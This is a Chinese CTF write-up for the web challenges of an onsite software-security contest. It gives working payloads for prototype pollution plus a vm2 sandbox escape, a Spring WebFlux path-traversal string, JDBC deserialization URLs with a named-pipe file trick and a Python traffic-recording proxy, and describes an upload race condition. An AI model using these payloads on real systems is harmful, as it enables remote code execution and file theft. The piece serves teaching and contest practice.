【CTF对抗- 软件安全赛现场赛web方向题目writeup】此文章归类为:CTF对抗。
讲解前吐槽为什么考的全是cve,要是我没记录cve的话真的要现场挖吗(bushi)
所有题目附件在文章末尾,可以直接下载,jdbc的题目jar包因为过大所以使用了分块压缩
附件里提供了题目的完整环境,在webstorm里打开文件夹即可。
题目仅提供了两个附件:app.js与package.json。
先审计app.js,发现了一个递归合并属性的merge函数:

递归合并就要考虑是否有原型链污染了,虽然其在遇到__proto__会跳过,但是我们可以通过consturctor.prototype的链子进行绕过。
检查该函数在哪里使用:

可以看到其在修改密码时毫无过滤的使用了merge函数来进行合并。

后面的/sandbox很显然是一个沙箱逃逸,但是需要admin权限,因此思路很清晰:利用原型链污染进行提权,进行后续的沙箱逃逸


可以看到新注册的用户已经变为了admin。

可以看到其使用vm2进行沙箱代码执行,检查vm2版本

该版本存在一个今年的cve高危漏洞:CVE-2026-22709
JavaScript 中的一个关键特性是:async 函数总是返回一个原生的 globalPromise 对象,而不是 vm2 制造的 localPromise。
因此,攻击者只需在沙箱代码中定义一个 async 函数,就能获取一个未被“清理”的 globalPromise 对象。
我们可以让这个globalPromise被reject,并调用未被“清理”的 .catch 方法。这个 .catch 回调将在沙箱外部的宿主环境中执行。
注意:函数体内变量(如 require)的解析规则:遵循 JavaScript 的静态作用域(lexical scoping),即在定义该函数的位置向上查找作用域链,因此如果你在catch里直接写require,虽然是外部宿主环境,但是仅匹配定义位置是否有require,没有就会报错并不执行,这样的外带就不行了
因此我们需要想办法让这个globalPromise获取到一个外部对象,通过这个外部对象来获取外部的Function,进而获取到process与require,完成后续RCE。
我们可以很快速的想到:在这个globalPromise里制造异常,会不会就能获取到一个外部对象呢?很可惜,vm2沙箱内得到的Error对象都是经过其包装过的代理Error,其 constructor 指向的是沙箱内的 Function,无法进行逃逸......吗?
const error = new Error();
error.name = Symbol();
(async () => error.stack)().catch((e) => {....});
通过以上构造,当访问 error.stack 时,V8 引擎内部会调用 error.name.toString()。但 Symbol 不能隐式转为字符串,会抛出 TypeError,被catch捕获到e上。关键在于:这个 TypeError 是在 vm2 的 host 上下文中创建的,而非沙箱内部。换句话讲,这个TypeError没有被沙箱包装代理。
通过e.constructor.constructor,我们就能获取到最顶上的函数构造器,进而利用其获取到process,利用process获取到require并引入child_process模块,进行后续的代码执行。
function payload(cmd) {
const escaped = cmd.replace(/\\/g, '\\\\').replace(/'/g, "\\'");
return `
const error = new Error();
error.name = Symbol();
(async () => error.stack)().catch((e) => {
const process = e.constructor.constructor('return process')();
const child = process.mainModule.require('child_process');
try {
__result.value = child.execSync('${escaped}').toString();
} catch (err) {
__result.value = 'exec error: ' + err.message;
}
});`;
}
console.log(payload(calc));

执行成功!
在idea里新建一个maven项目,将pom.xml、ctf-challenge.jar放进项目里并同步maven库即可,使用的jdk为jdk17。
该题目是一道AWD题,本篇wp仅针对attack阶段,不过我把利用的漏洞点说了你们也就知道哪里需要防了。
题目提供了三个附件:pom.xml、start.sh与Webconfig.java。
先分析一下pom.xml,发现了一个静态路径穿越漏洞:

这个漏洞需要在应用使用webflux来提供静态资源,且在提供静态资源时,明确使用了FileSystemResource来指定文件系统中的位置时才能被利用。有一段代码示例:
@Configuration
public class WebConfig {
@Bean
public RouterFunction<ServerResponse> route() {
// 将 /static/static/** 路径下的请求映射到 /app/static 目录下的文件
return RouterFunctions.resources("/static/**", new FileSystemResource("/app/static"));
}
}
再看提供的Webconfig.java源码内容:

可以说是完全一致,由此我们确定了其存在路径穿越漏洞。
springboot在处理客户端发来的静态路径访问时会进行预处理,检查路径是否存在../这样路径穿越的问题,但是由于在检查../时代码逻辑存在缺陷,导致攻击者可以构造一个设计好的payload,使其包含../的同时不被认定为“包含了../”路径,进而实现路径穿越。
用于windows:/static/%5c/%5c/../../flag.txt
用于windows与linux:/static/%2f/%2f/../../flag.txt
(将flag.txt替换为你实际要访问的文件内容)
在对/static/.....发起一个Get请求后,springboot框架会调用spring-webflux-6.0.2.jar里的PathResourceLookupFunction类的apply方法进行路径解析,这里我们打好断点准备调试

提前在D盘根目录下放置一个111.txt文件

启动调试,访问/static/%5c/%5c/../../111.txt

可以看到确实走到我们的断点了

我们的目标就是走到这个判断语句的里面,也就是要保证isInvalidPath函数最终返回false。
跟进这个函数看看具体做了些什么操作

前面简单的检验了有没有敏感路径,去除了开头的绝对路径,检查有没有使用file://或者http://或者url://等协议
重点在下面,if (path.contains("..") && StringUtils.cleanPath(path).contains("../")),前面不用说肯定会返回true,重点是后面,我们要想办法让他返回false,这样就可以绕过非法性检查
继续跟进:

这里会将我们的url进行标准化处理(反斜杠转为斜杠,因为在前面的代码里使用/////写法会被合并为/)(使用第二个payload也完全可以),并且处理掉了开头的两个/,然后准备做元素分割

重点在这里!该处代码逻辑处理///这种写法会得到空元素,其会影响后续处理该段path的代码,并在最后得到一个不含..的版本(这里具体是怎么绕过的大家可以自行去调试源码逻辑)

最后返回的字符串就是"/"+"/1.txt"。很显然没有../,因此在StringUtils.cleanPath(path).contains("../")里会判定为false,进而绕过了非法判断,从而放过了我们的路径穿越payload,访问到了111.txt文件

比赛时并没有提供题目应用的jar,因此选手们需要先通过这一路径穿越漏洞来获取的jar包,进而继续后续的代码分析。
拿到ctf-challenge.jar以后进行反编译,看到其暴露了两个端点:


/api/connect点是一个典型的JDBC连接URL注入漏洞(也称为JDBC攻击)。我们可以控制JDBC URL,从而利用MySQL JDBC驱动程序的特性进行攻击,例如读取任意文件、执行任意代码等。
具体来说,MySQL JDBC驱动程序(mysql-connector-java 8.0.19)存在一些已知的攻击向量,比如使用autoDeserialize参数和queryInterceptors等,可以实现反序列化攻击,从而导致远程代码执行。还有利用allowLoadLocalInfile或allowUrlInLocalInfile读取客户端文件等。
由于目标环境是jdk 17,这里我们使用反序列化漏洞执行RCE。
当我们使用/api/connect?url=......访问服务器时,其会解析我们url里的参数并用在DriverManager.getConnection函数里。
在本地使用java-chains.jar并利用预置好的JDK 17 RCE链生成payload,并在3308上启动一个fake mysql服务:


然后将该payload进行url编码后放入url参数里访问即可执行系统命令:jdbc:mysql://127.0.0.1:3308/?user=<token>&autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&useSSL=false&serverTimezone=UTC

可以看到我们的代码执行了,而且会执行两次。
user=<token>:以token用户的身份访问我们的伪造服务器,java-chains.jar会把生成的payload与user绑定,当我们以该用户身份访问fake mysql服务器时其就会返回经过构造的恶意序列化数据。
autoDeserialize=true:最关键的参数,当其为true时,会检验传过来的数据头部是否为java序列化数据的“魔数”,如果是就会把传来的数据当作java序列化数据处理并进行反序列化操作。
queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor:注册一个拦截器,在查询执行前后进行拦截。该特定拦截器在处理结果时会触发驱动读取服务端返回的某些字段并尝试反序列化,是已知的利用链入口。如果没有此参数,攻击无法触发。
useSSL=false:禁用 SSL/TLS,由于伪造的mysql服务以及后续基于本地文件的攻击均不支持ssl,如果不设置为false,驱动会尝试ssl握手,导致连接失败。
serverTimezone=UTC:指定服务器时区,这里用于提高服务器连接稳定性,一般可以不加。
如果我们的赛题允许出网,那么这道题复现起来就轻而易举了。很可惜,软件安全赛现场赛(西北赛区)的赛题不允许出网,因此我们必须转向另一个端口:/api/upload
不过在这之前,我们先看看能否利用本地文件进行攻击。这里就要用到另一个特性了:namedPipe命名管道
payload:
jdbc:mysql://127.0.0.1:3306/test?user=db507ca&autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&useSSL=false&serverTimezone=UTC&socketFactory=com.mysql.cj.protocol.NamedPipeSocketFactory&namedPipePath=uploads/payload.txt
其中:
socketFactory=com.mysql.cj.protocol.NamedPipeSocketFactory:强制客户端放弃TCP/IP,改用Windows命名管道通信。NamedPipeSocketFactory类在底层直接使用了 Java 的 java.io.RandomAccessFile(path, "rw") 来打开文件,并且完全没有校验操作系统是否为 Windows,也没有校验该路径是否真的是一个命名管道。
namedPipePath=uploads/payload.txt:指定命名管道文件,其会把该静态文件,当成一个 Socket 连接来读取和写入。
前文提到,NamedPipeSocketFactory类使用RandomAccessFile方法进行文件读写,且其共享同一个文件读写指针(File Pointer)。当客户端读取文件时,指针后移;当客户端写入文件时,它会覆盖当前指针位置的字节,并且指针继续后移。
在JDBC连接时,其交互逻辑如下:
[0 - Offset A]:放服务端问候包 (Server Greeting)。JDBC 连上后首先读取它,读完后,文件指针停在 A。
[Offset A - Offset B]:这部分填无意义的垃圾数据(Padding)。因为 JDBC 接着会发送客户端登录包 (Login Request),它会从 A 开始写入,覆盖掉我们预先的填充。写完后,指针停在 B。
[Offset B - Offset C]:放服务端认证成功包 (Auth OK)。JDBC 写完登录包后,会立马读取服务端的响应。由于指针刚好在 B,它就会完美读到这个 OK 包。
[Offset C - Offset D]:再次填入垃圾数据(Padding)。由于我们使用了 ServerStatusDiffInterceptor,JDBC 会自动发送 SHOW SESSION STATUS 等查询语句。它会覆盖这部分区域,指针停在 D。
[Offset D - 结束]:放入服务端返回的恶意结果集(Result Set)。这个结果集里就包含了我们 java-chains 生成的 JDK 17 反序列化 Payload
不过在实际连接里,服务器在Auth OK以后会连续发送好几个初始化配置包,也可能会在开始访问阶段发送许多包,所以我们直接进行计算会变得异常困难,这时候我们可以选择:直接模拟一次jdbc的恶意payload获取并令其流量走外部python程序以便截获流量,获取完整的交互流,并保存为文件以便于后续上传使用。
java-chains默认在3308开启fake mysql服务,所以我们可以利用python监听+模拟jdbc访问来获取完整的交互流。
监听用python代码:
import socket
import select
# 配置信息
FAKE_MYSQL_PORT = 3308 # 你本地能弹计算器的 Fake MySQL 端口
PROXY_PORT = 3309 # 本代理脚本监听的端口
PAYLOAD_FILE = "payload.txt"
def run_smart_proxy():
proxy_server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
proxy_server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
proxy_server.bind(('127.0.0.1', PROXY_PORT))
proxy_server.listen(1)
print(f"[*] 智能录制代理已启动,监听本地 {PROXY_PORT} 端口...")
client_sock, addr = proxy_server.accept()
print(f"[+] 收到 JDBC 客户端连接: {addr}")
target_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
target_sock.connect(('127.0.0.1', FAKE_MYSQL_PORT))
print(f"[+] 已连接到 Fake MySQL (3308端口)")
payload_data = bytearray()
try:
while True:
# 监听哪边有数据发过来,超时时间设置为 3 秒
r, _, _ = select.select([client_sock, target_sock], [], [], 3.0)
if not r:
print("[*] 3秒内无数据交互,认为连接已结束,准备生成文件...")
break
for sock in r:
if sock == client_sock:
# JDBC 客户端发话了 -> 转发给 Fake MySQL,并用 \x00 占位
data = client_sock.recv(65535)
if not data:
raise Exception("Client closed")
target_sock.sendall(data)
payload_data.extend(b'\x00' * len(data))
print(f" [>] 客户端 -> 服务端: {len(data)} bytes (填充为 padding)")
elif sock == target_sock:
# Fake MySQL 服务端发话了 -> 转发给 JDBC,并记录真实数据
data = target_sock.recv(65535)
if not data:
raise Exception("Server closed")
client_sock.sendall(data)
payload_data.extend(data)
print(f" [<] 服务端 -> 客户端: {len(data)} bytes (记录真实数据)")
except Exception as e:
print(f"[*] 交互结束或中断: {e}")
finally:
client_sock.close()
target_sock.close()
proxy_server.close()
# 将记录的完整线性交互保存为文件
with open(PAYLOAD_FILE, "wb") as f:
f.write(payload_data)
print(f"\n[+++] 成功!智能录制完成,恶意文件 {PAYLOAD_FILE} 已生成!(总大小: {len(payload_data)} bytes)")
if __name__ == '__main__':
run_smart_proxy()
模拟jdbc发送代码:
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;
public class JDBCTrigger {
public static void main(String[] args) {
// 指向 Python 代理脚本的 3309 端口
// 注意:这里必须与你最终打靶机的参数完全一致(除了端口和 socketFactory),
// 因为 user 等参数的长度会影响最终 Login 包的大小!
String jdbcUrl = "jdbc:mysql://127.0.0.1:3309/test" +
"?user=df6b5dc" +
"&autoDeserialize=true" +
"&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor" +
"&useSSL=false" +
"&serverTimezone=UTC";
System.out.println("[*] 正在向 Python 代理发起 JDBC 连接...");
System.out.println("[*] 目标 URL: " + jdbcUrl);
try {
// 显式加载驱动(8.x版本其实会自动加载,写上更保险)
Class.forName("com.mysql.cj.jdbc.Driver");
// 触发连接!
Connection conn = DriverManager.getConnection(jdbcUrl);
System.out.println("[+] 连接成功建立!(通常不会走到这里,因为反序列化会抛出异常)");
conn.close();
} catch (ClassNotFoundException e) {
System.err.println("[-] 找不到 MySQL 驱动,请检查 pom.xml 依赖: " + e.getMessage());
} catch (SQLException e) {
// 这是预期行为!反序列化发生类型转换错误时,会抛出 SQLException
System.out.println("[+] 捕获到 SQL 异常 (这是反序列化触发的正常现象!)");
e.printStackTrace();
} catch (Exception e) {
e.printStackTrace();
}
System.out.println("[*] Java 测试代码执行完毕,请检查是否弹出计算器,以及 Python 脚本是否生成了 payload.txt。");
}
}
java代码需要使用maven项目构建,其pom.xml为:
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 580K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3#2S2N6X3g2F1i4K6u0W2j5i4m8S2j5$3S2W2i4K6u0W2L8%4u0Y4i4K6u0r3P5s2y4V1i4K6u0r3L8h3q4$3k6h3&6Q4x3X3b7@1i4K6u0W2x3q4)9J5k6e0m8Q4x3X3g2^5M7$3b7`.">
<modelVersion>4.0.0</modelVersion>
<groupId>com.fulucky</groupId>
<artifactId>rjaqsjdbcpayload</artifactId>
<version>1.0-SNAPSHOT</version>
<properties>
<maven.compiler.source>17</maven.compiler.source>
<maven.compiler.target>17</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>
<dependencies>
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>8.0.19</version>
</dependency>
</dependencies>
</project>
注意:先启动python脚本进行监听,再执行java代码走监听端口来获取流量。

这里报异常是正常的,毕竟我们没有引入springboot的依赖库。

可以看到python脚本完整监听到了我们的交互流并保存为了payload.txt
先直接将payload.txt放在uploads文件夹下,访问我们的/api/connect
windows上完成RCE:

Linux上也能RCE,说明了NamedPipeSocketFactory类确实没有进行校验:

不出网仅依靠本地文件完成rce的操作已完成,接下来就是最后一步:上传我们的payload.txt。
审计FileUploadController类:

其强制检测后缀是否为.txt,且不允许/、\与..出现在文件命令,杜绝了路径穿越与jsp上传,不过这不影响我们的RCE利用。继续向下审计:

这一处代码显示会检测.txt文件里是否有非ascii码内容,如果有就会将其删除。我们的命名管道文件内是肯定有非ascii码的,看上去难以上传。
但是!我们注意到:代码逻辑是先将传上来的文件写入到本地,再检查文件内容是否有非ascii码,前后有一个时间差,进而提供了一个条件竞争环境。
由于条件竞争这一条件难以复现,尤其是在我们题目里使用/api/connect进行管道连接的情况下:很可能我们交互到一半这个文件就被删了,因此这里仅证明该漏洞存在:利用/static/静态路由穿越访问这个payload.txt,只要我们能成功访问,就能证明这个漏洞存在:

可以看到确实成功访问到了这个传上去的文件!
至此,我们完成了攻击路径闭环:/static/静态路由穿越泄露源码->/api/upload条件竞争上传构造好的命名管道文件payload.txt->/api/connect访问这个管道文件进行交互并完成反序列化->完成RCE
至于回显技术,题目不出网很难弹shell,但是我们可以选择将输出重定向到/app/static里然后访问/static/内的文件即可做到回显。
由于比赛环境未能出网,且我推测检查修复与否的判断依据是能否执行rce,因此只需要修复/api/uploads,使其先检查是否存在非ascii码再写入,如果有就不写入,避免掉条件竞争,即可杜绝本题目环境下的RCE(当然在/api/connect做参数审查也是可以的)
更多【CTF对抗- 软件安全赛现场赛web方向题目writeup】相关视频教程:www.yxfzedu.com